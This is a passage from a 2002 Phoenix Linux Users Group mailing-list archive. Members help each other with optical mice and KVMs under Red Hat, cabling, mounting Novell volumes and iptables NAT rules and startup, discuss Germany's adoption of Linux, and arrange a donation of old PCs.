linux distro? if so, how do you like it. I have a > KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > using two mice, my optical for my Win2K box and my POS intellimouse for my > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:36:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Mon, 3 Jun 2002 10:36:36 -0700 Subject: Optical Mice and Linux References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <1023125319.12825.6.camel@CX868974-C> Message-ID: <012501c20b25$37c57c60$6501a8c0@drghastly> Well, assuming I just use a USB-PS/2 converter, what would I set my mouse up as under RH 7.3? I don't think I saw an option for Intellimouse Optical ...? ----- Original Message ----- From: "David Mandala" To: Sent: Monday, June 03, 2002 10:28 AM Subject: Re: Optical Mice and Linux > Using one right now, I am using the USB to PS2 converter that came with > it and it works fine. > > On Sun, 2002-06-02 at 17:19, Dr.G wrote: > > Ok. So I have a rather pertinent question. Anyone use one of the Microsoft > > Optical Mice with thier linux distro? if so, how do you like it. I have a > > KVM set up right now but my Optical mouse is usb while the KVM requires PS/2 > > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > > using two mice, my optical for my Win2K box and my POS intellimouse for my > > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:46:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 3 Jun 2002 10:46:47 -0700 Subject: cat 5 cable In-Reply-To: <200206030956.47938.voltage_spike@fastmail.fm> Message-ID: I believe that you use Cat 6 for Giga Ethernet. I also understand that Cat 5E also will handle Giga Ethernet, but I do not know the restrictions. I have only done Giga Ethernet on Fiber so I don't know cable restrictions with copper. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Logan Kennelly Sent: Monday, June 03, 2002 9:57 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: cat 5 cable On Monday 03 June 2002 10:01 am, Gilbert T. Gutierrez, Jr. wrote: > Cat 5 cable is what you use to make ethernet cables. Cat 5 supports > standard ethernet (10Mbits/sec transfer rate) and fast ethernet > (100Mbits/sec transfer rate). Isn't it also used for gigabit networking? -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:58:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Mon, 3 Jun 2002 10:58:48 -0700 Subject: mounting novell volumes Message-ID: <200206031058.52521.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I booted up a novell machine using a bbc cd and I need to mount the novell volume (/dev/hda2) onto the tree so I can export it. The fdisk info says it is id 65 Novell Netware 386 Does anyone know how I can mount that? I tried the ncpfs module, but it doesn't work. nathan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N 5V5D6ElmVvifCzrLPF8nRyM= =d4n0 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 17:55:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Mandala) Date: 03 Jun 2002 10:55:36 -0700 Subject: Optical Mice and Linux In-Reply-To: <012501c20b25$37c57c60$6501a8c0@drghastly> References: <00c001c20a94$67b1ac50$6501a8c0@drghastly> <1023125319.12825.6.camel@CX868974-C> <012501c20b25$37c57c60$6501a8c0@drghastly> Message-ID: <1023126936.12825.12.camel@CX868974-C> On RH 7.2 I use the Microsoft IntelliMouse (PS/2) option. Then you can just go through the KVM. Cheers On Mon, 2002-06-03 at 10:36, Dr.G wrote: > Well, assuming I just use a USB-PS/2 converter, what would I set my mouse up > as under RH 7.3? I don't think I saw an option for Intellimouse Optical ...? > > > > ----- Original Message ----- > From: "David Mandala" > To: > Sent: Monday, June 03, 2002 10:28 AM > Subject: Re: Optical Mice and Linux > > > > Using one right now, I am using the USB to PS2 converter that came with > > it and it works fine. > > > > On Sun, 2002-06-02 at 17:19, Dr.G wrote: > > > Ok. So I have a rather pertinent question. Anyone use one of the > Microsoft > > > Optical Mice with thier linux distro? if so, how do you like it. I have > a > > > KVM set up right now but my Optical mouse is usb while the KVM requires > PS/2 > > > and i refuse to use a USB to PS/2 converter if I don't have to, so I am > > > using two mice, my optical for my Win2K box and my POS intellimouse for > my > > > RH box. However I HATE the RH mouse, its jerky and not smooth at all. > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 18:00:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 3 Jun 2002 11:00:59 -0700 Subject: Optical Mice and Linux In-Reply-To: <012501c20b25$37c57c60$6501a8c0@drghastly> References: <1023125319.12825.6.camel@CX868974-C> <012501c20b25$37c57c60$6501a8c0@drghastly> Message-ID: <200206031100.59024.voltage_spike@fastmail.fm> On Monday 03 June 2002 10:36 am, Dr.G wrote: > Well, assuming I just use a USB-PS/2 converter, what would I set my mouse > up as under RH 7.3? I don't think I saw an option for Intellimouse > Optical ...? As I mentioned earlier, the USB and PS/2 communications are exactly the same. Assuming that you use /dev/mouse in your configuration files, then you would only need to update the symbolic link so that it points to /dev/psaux. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 18:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 11:07:37 -0700 Subject: Bundesregierung waehlt Linux Message-ID: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> IBM signs Linux deal with Germany You've all seen the SlashDot story probably. I big win, of course. Germany's Interior Minister, Otto Schilly, picked Linux to help cut costs and improve security in the nation's computer networks. The BBC article is here: http://news.bbc.co.uk/hi/english/business/newsid_2023000/2023127.stm But I liked the reference of one /. reader to the BbusinessWeek's interview of Microsoft's Richard Purcell, the man charged with heading up Microsoft's Trustworthy Computering Initiative. The interview ended with these two telling questions: Q: In January, Bill Gates sent a memo to staff emphasizing the importance of trustworthy computing. Was it a turning point? A: It's Bill's effort to put the focus of the company on one thing.... My job is to take that -- and Bill has given me this job very explicitly -- and transform the company into a different kind of company that produces products and services that are highly reliable, highly dependable, highly manageable, highly safe through security and privacy practices. Q: Critics would say you're not succeeding. Since the big announcement, a half- dozen security bugs have been found in products such as Internet Explorer, MSN Messenger. How do explain that? A: You can't issue a memo on Jan. 18 and, within two weeks or even two months, have introduced your entire product line that's consistent with that. Trustworthy computing, as I try to emphasize, is about process change, so that products can then be delivered as a result. And it's a very long-term vision -- 5, 10 years, maybe. The full interview is here - http://www.businessweek.com/technology/content/may2002/tc20020523_6029.htm So, how many businesses will be willing to wait on Microsoft when Linux is proving itself secure today? Dennis kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Mon, 3 Jun 2002 12:01:55 -0700 (MST) Subject: Update: Phoenix.pm: Dan Sugalski speaking June 20th (fwd) Message-ID: Additional info from the Phoenix Perl Mongers about an upcoming Open Source presentation: ---------- Forwarded message ---------- Date: Mon, 03 Jun 2002 11:41:17 -0700 From: Doug Miles To: phoenix-pm-list@happyfunball.pm.org Subject: Re: Phoenix.pm: Dan Sugalski speaking June 20th > Dan Sugalski of Parrot fame will be giving his "Parrot Internals" talk > on June 20th. This is part of a fund raising tour for The Perl > Foundation: http://use.perl.org/article.pl?sid=02/05/14/1757228 > > There will be a suggested donation of $50, however, it is not required. Here's some more info: The talk will be at 7:00pm. We'll have dinner beforehand. Send in your restaurant nominations. It should probably be close to downtown, because we will most likely have the talk at Bowne. Please reply directly to Doug Miles, doug.miles@bpxinternet.com , if you are interested. Phoenix Perl Mongers http://phoenix.pm.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:01:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 3 Jun 2002 14:01:55 -0500 (CDT) Subject: Bundesregierung waehlt Linux In-Reply-To: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> Message-ID: On Mon, 3 Jun 2002 dennisk@sahuaro.f2s.com wrote: > IBM signs Linux deal with Germany > > You've all seen the SlashDot story probably. I big win, of course. Germany's > Interior Minister, Otto Schilly, picked Linux to help cut costs and improve > security in the nation's computer networks. > What is interesting is GNUe has large developer base in Europe, specifically Austria and Germany. So I get to communicate with folks there a lot. In discussing this with them, what they all find funny is this is old news. German Parliment dictated some time ago that they would be move their servers to GNU/Linux. They even produced a roadmap that all servers would be converted by XXXX date. This announcement is merely that they have chosen a vendor. BTW: Those that like this move, please note that the FSF Europe played a major role in making it happen as part of their "Bundestux" initiative. ("Federal Tux") I find it interesting that American news agencies really aren't reporting much on this, I believe the Slashdot story is from BBC. -Derek From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:15:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 03 Jun 2002 12:15:44 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> Message-ID: <3CFBC060.5E3C81EA@leml.asu.edu> Dennis Kibbe wrote: > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > Penquin". > > Now down to the field for our pre-game show. > > ... ;-) thanks for that... EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:45:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 12:45:58 -0700 (MST) Subject: Bundesregierung waehlt Linux In-Reply-To: <1023127657.3cfbb06993b46@webmail.freedom2surf.net> Message-ID: Am 03. Jun, 2002 schwätzte dennisk@sahuaro.f2s.com so: > The full interview is here - > http://www.businessweek.com/technology/content/may2002/tc20020523_6029.htm I think the following is interesting: "To find those solutions, we all have a role to play. Individuals have to take more charge of their information. Commerce is going to have to get used to having a more open disclosure model, asking for permission, following those permissions more reliably than they have in the past. Government's going to have to figure out what its role is in terms of being open -- but at the same time, not disclosing too much information, [thus harming] their citizens." It seems very un-m$ to give consumers control over their data. I hope they follow through with this. The next question in the interview covers what he says m$ is working on. Other than the last two questions I don't see anything in the interview about secure apps. ciao, der.hans -- # https://www.LuftHans.com/ # Help Jerry Lewis stamp out M$...oops that's MDA - der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:37:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 12:37:58 -0700 Subject: Bundesregierung waehlt Linux In-Reply-To: References: Message-ID: <1023133078.3cfbc59667c26@webmail.freedom2surf.net> Quoting Derek Neighbors : > On Mon, 3 Jun 2002 dennisk@sahuaro.f2s.com wrote: > > > IBM signs Linux deal with Germany > > > > You've all seen the SlashDot story probably. I big win, of course. > Germany's > > Interior Minister, Otto Schilly, picked Linux to help cut costs and improve > > > security in the nation's computer networks. > > > > What is interesting is GNUe has large developer base in Europe, > specifically Austria and Germany. So I get to communicate with folks > there a lot. In discussing this with them, what they all find funny is > this is old news. > > German Parliment dictated some time ago that they would be move their > servers to GNU/Linux. They even produced a roadmap that all servers would > be converted by XXXX date. This announcement is merely that they have > chosen a vendor. > > BTW: Those that like this move, please note that the FSF Europe played a > major role in making it happen as part of their "Bundestux" initiative. > ("Federal Tux") > > I find it interesting that American news agencies really aren't reporting > much on this, I believe the Slashdot story is from BBC. > > -Derek I was under the impression that this opened up the rest of the German government to Linux since it comes from Schilly. No mention of the Bundestag in the article. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 19:41:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 3 Jun 2002 12:41:39 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) In-Reply-To: <3CFBC060.5E3C81EA@leml.asu.edu> References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> <3CFBC060.5E3C81EA@leml.asu.edu> Message-ID: <1023133299.3cfbc673c6f96@webmail.freedom2surf.net> Quoting "John (EBo) David" : > Dennis Kibbe wrote: > > > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > > Penquin". > > > > Now down to the field for our pre-game show. > > > > ... > > ;-) thanks for that... > > EBo -- Your welcome. Just ignore the fact that I can't spell penguin. Dennis ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 20:39:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 03 Jun 2002 13:39:47 -0700 Subject: Monster Truck Version: InstallFest Radio Ad RC1 ;-) References: <3CFAD563.5D6F471E@leml.asu.edu> <200206022254.35078.dennisk@sahuaro.f2s.com> <3CFBC060.5E3C81EA@leml.asu.edu> <1023133299.3cfbc673c6f96@webmail.freedom2surf.net> Message-ID: <3CFBD413.2F22C35B@leml.asu.edu> dennisk@sahuaro.f2s.com wrote: > > Quoting "John (EBo) David" : > > > Dennis Kibbe wrote: > > > > > > We take you now live to Caesar's Palace for the Monster Truck Face-Off!! > > > > > > Tonight's match is between the "Gates from Hell X Truck" and the "Roaring > > > Penquin". > > > > > > Now down to the field for our pre-game show. > > > > > > ... > > > > ;-) thanks for that... > > > > EBo -- > > Your welcome. > > Just ignore the fact that I can't spell penguin. Dennis I would be the LAST person to give you a hard time about spelling... I once got 10% taken off of a geometry homework for spelling. The teacher said he wanted to make a point and it would not affect my grade anyway. He did make a point, and I still tell the story to this day ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 20:50:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 16:50:43 -0400 Subject: IP tables lookup Message-ID: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Anyone know off hand how to look up the prerouting and postrounting rules on iptables? I've been trying iptables -L NAT and / or iptables -L PREROUTING. but it keeps telling me no such table. Can someone tell me what I'm doing wrong? (btw yes I know Prerouting isn't actually a table i'm just getting desprate. ). Carl P. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:09:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Mon, 03 Jun 2002 14:09:59 -0700 Subject: mounting novell volumes References: <200206031058.52521.plug@the-arcanum.org> Message-ID: <3CFBDB27.5CAFA00F@pop.phnx.uswest.net> Nathan, I haven't heard of a non-Netware method of mounting Netware volumes. Is the server unbootable? FWIW, the best non-Novell tools for Netware that I know of come from: http://www.PortlockSoftware.com - http://www.ontrack.com - http://www.jrbsoftware.com -- large number of "free" utils plus more that cost. Of course, searching through support.novell.com and developer.novell.com yields lots of free tools and info. BTW, if the server *isn't* toasted and you're running NW 5.x or 6 there's support for NFS Could you elaborate on the situation? Steve Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I booted up a novell machine using a bbc cd and I need to mount the novell > volume (/dev/hda2) onto the tree so I can export it. > The fdisk info says it is id 65 Novell Netware 386 > > Does anyone know how I can mount that? I tried the ncpfs module, but it > doesn't work. > > nathan > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE8+65cQ7yNnsYcupwRAnx9AJ9Ga+JvecuXlU9n32S/9m7M7hkbFgCgq08N > 5V5D6ElmVvifCzrLPF8nRyM= > =d4n0 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:09:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 17:09:43 -0400 Subject: iptables missing after reboot Message-ID: <20020603210941.CRWI4796.lakemtao08.cox.net@smtp.central.cox.net> Pete I'm still looking for a better solution but what I did was create a iptables script added it to /etc/rc.d/init.d/ (note I was using a Red Hat box). Then in the script had it reload the ip_tables mod. Not the worlds best solution, but it works. Carl P. ============================================================ From: mazdaracer Date: 2002/06/03 Mon AM 11:56:01 EDT To: "plug-discuss@lists.PLUG.phoenix.az.us" Subject: iptables missing after reboot After I rebooted my Mandrake 8.1 box, I was unable to get my laptop connected to the net. I did 'iptables --list' and it was empty. So I re-ran Mandrake Control Center and did the connection sharing thing and it was ok. Having to do that after a reboot just ain't right. Is there something (obviously) that I'm not having start up in the xinetd or rc.d area? pete ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 21:35:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 03 Jun 2002 14:35:55 -0700 Subject: eBay Listing Message-ID: <200206032151.RAA16097@hostinworld6.com> This is the sort of thing that gives linux a bad rep or confuses people about linux. Just look at the category it's under! I'm not saying the entire listing is wrong or bad but the top part is misleading to the inexperienced. http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2028970463 Just My Little Vent, Bryce C. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:01:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 15:01:13 -0700 (PDT) Subject: Old computers available Message-ID: I've got about 25 spare computers that my company is looking to sell or donate to a good cause. Here are the stats: Pentium 133Mhz 64MB RAM 1.3GB HD 10Mb NIC 1MB SVGA Video Card Linux installs fine on these computers and they could be put to a lot of good use as a low-traffic web server, DNS server, mail server, router, proxy, or even a thin-client for the Linux Terminal Server Project! :-) Anyone interested? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:04:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 03 Jun 2002 15:04:05 -0700 Subject: iptables missing after reboot References: <20020603210941.CRWI4796.lakemtao08.cox.net@smtp.central.cox.net> Message-ID: <3CFBE7D5.1EBB7EAF@qwest.net> Isn't that how it is done on all the systems? I've dealt with IPf under solaris and ipchains/iptables under RH and I believe debian does the same thing. When I used RH4.2 the rules were added to /etc/rc.d/rc.local as the last thing the system did upon booting up. > Pete I'm still looking for a better solution but what I did was create a iptables script added it to /etc/rc.d/init.d/ (note I was using a Red Hat box). Then in the script had it reload the ip_tables mod. Not the worlds best solution, but it works. > > Carl P. > ============================================================ > From: mazdaracer > Date: 2002/06/03 Mon AM 11:56:01 EDT > To: "plug-discuss@lists.PLUG.phoenix.az.us" > > Subject: iptables missing after reboot > > After I rebooted my Mandrake 8.1 box, I was unable to get my laptop > connected to the net. I did 'iptables --list' and it was empty. So I > re-ran Mandrake Control Center and did the connection sharing thing and > it was ok. Having to do that after a reboot just ain't right. Is there > something (obviously) that I'm not having start up in the xinetd or rc.d > area? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:15:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dale Farnsworth) Date: Mon, 3 Jun 2002 15:15:09 -0700 Subject: IP tables lookup In-Reply-To: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> References: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Message-ID: <20020603221509.GA6268@farnsworth.org> On Mon, Jun 03, 2002 at 09:09:54PM +0000, Carl Parrish wrote: > Anyone know off hand how to look up the prerouting and postrounting rules on iptables? try: iptables -t nat -L -Dale From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:35:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:35:59 -0700 (MST) Subject: Old computers available In-Reply-To: Message-ID: Am 03. Jun, 2002 schwätzte Matt Alexander so: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? Hmm. I know an NPO that might be able to use them :). Contact Kimi@UnityWave.com as she can let you donate them to either AZOTO or MADD. We could use a few of them for the InstallFest, etc. Maybe setup a small LTSP demo at the InstallFest. ciao, der.hans -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:32:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:32:21 -0700 (MST) Subject: IP tables lookup In-Reply-To: <20020603205044.LBBZ1131.lakemtao07.cox.net@smtp.central.cox.net> Message-ID: Am 03. Jun, 2002 schwätzte Carl Parrish so: > Anyone know off hand how to look up the prerouting and postrounting rules > on iptables? > > I've been trying iptables -L NAT and / or iptables -L PREROUTING but . > it keeps telling me no such table. Can someone tell me what I'm doing . > wrong? (btw yes I know Prerouting isn't actually a table i'm just . > getting desprate. ) . iptables -t nat -nL 'nat' has to be lower case. ciao, der.hans -- # https://www.LuftHans.com/ # Nobody grows old merely by living a number of years. # We grow old by deserting our ideals. # Years may wrinkle the skin, but to give up enthusiasm # wrinkles the soul. -- Samuel Ullman From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:38:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 3 Jun 2002 15:38:47 -0700 (MST) Subject: iptables missing after reboot In-Reply-To: <3CFBE7D5.1EBB7EAF@qwest.net> Message-ID: Am 03. Jun, 2002 schwätzte Kevin Brown so: > Isn't that how it is done on all the systems? I've dealt with IPf under > solaris and ipchains/iptables under RH and I believe debian does the same > thing. When I used RH4.2 the rules were added to /etc/rc.d/rc.local as > the last thing the system did upon booting up. It should be done either right after networking. Actually, it should be done in the middle of networking. After the interfaces are up, but before routing gets setup, but that's problematic with how networking's started. Waiting until later exposes your services until the firewall comes up. ciao, der.hans -- # https://www.LuftHans.com/ # "Communications without intelligence is noise; # Intelligence without communications is irrelevant." # Gen. Alfred. M. Gray, USMC From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:37:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 18:37:25 -0400 Subject: Old computers available Message-ID: <20020603223723.BQEA8234.lakemtao06.cox.net@smtp.central.cox.net> I've got a NPO that could use four of them. Carl Parrish ============================================================ From: "der.hans" Date: 2002/06/03 Mon PM 06:35:59 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Old computers available Am 03. Jun, 2002 schwätzte Matt Alexander so: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, DNS server, mail server, router, > proxy, or even a thin-client for the Linux Terminal Server Project! :-) > Anyone interested? Hmm. I know an NPO that might be able to use them :). Contact Kimi@UnityWave.com as she can let you donate them to either AZOTO or MADD. We could use a few of them for the InstallFest, etc. Maybe setup a small LTSP demo at the InstallFest. ciao, der.hans -- # https://www.LuftHans.com/ # If you have an apple and I have an apple and we exchange apples then # you and I will still each have one apple. But if you have an idea and # I have an idea and we exchange these ideas, then each of us will have # two ideas. -- George Bernard Shaw ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:54:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 3 Jun 2002 15:54:28 -0700 (PDT) Subject: Old computers available In-Reply-To: Message-ID: On Mon, 3 Jun 2002, der.hans wrote: > Maybe setup a small LTSP demo at the InstallFest. That's a great idea. I'll plan to do that for the InstallFest. ~M From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:46:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Mon, 3 Jun 2002 18:46:27 -0400 Subject: IP tables lookup Message-ID: <20020603224625.BRFP8234.lakemtao06.cox.net@smtp.central.cox.net> Thanks Dale that's what I needed. Carl P. ============================================================ On Mon, Jun 03, 2002 at 09:09:54PM +0000, Carl Parrish wrote: > Anyone know off hand how to look up the prerouting and postrounting rules on iptables? try: iptables -t nat -L -Dale ________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:43:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff) Date: Mon, 3 Jun 2002 15:43:17 -0700 Subject: Old computers available References: Message-ID: <016701c20b50$0df4a020$d701870a@jeffbarker> How much are they askin? I might be interested. ----- Original Message ----- From: "Matt Alexander" To: Sent: Monday, June 03, 2002 3:01 PM Subject: Old computers available | I've got about 25 spare computers that my company is looking to sell or | donate to a good cause. | Here are the stats: | | Pentium 133Mhz | 64MB RAM | 1.3GB HD | 10Mb NIC | 1MB SVGA Video Card | | Linux installs fine on these computers and they could be put to a lot of | good use as a low-traffic web server, DNS server, mail server, router, | proxy, or even a thin-client for the Linux Terminal Server Project! :-) | Anyone interested? | Thanks, | ~M | | ________________________________________________ | See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. | | PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us | http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 22:54:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Mon, 03 Jun 2002 15:54:36 -0700 Subject: 05-28-02 Linux Desktop presentation online References: Message-ID: <3CFBF3AC.4AB23697@earthlink.net> VERY NICE!!! pete From plug-discuss@lists.plug.phoenix.az.us Mon Jun 3 23:03:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 3 Jun 2002 16:03:38 -0700 Subject: Old computers available In-Reply-To: References: Message-ID: <0206031603380V.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If the company is willing to donate them to a non-profit, I bet we can make some arrangements with AZOTO. Let me know if you want me to contact AZOTO. On Monday 03 June 2002 15:01, you wrote: > I've got about 25 spare computers that my company is looking to sell or > donate to a good cause. > Here are the stats: > > Pentium 133Mhz > 64MB RAM > 1.3GB HD > 10Mb NIC > 1MB SVGA Video Card > > Linux installs fine on these computers and they could be put to a lot of > good use as a low-traffic web server, 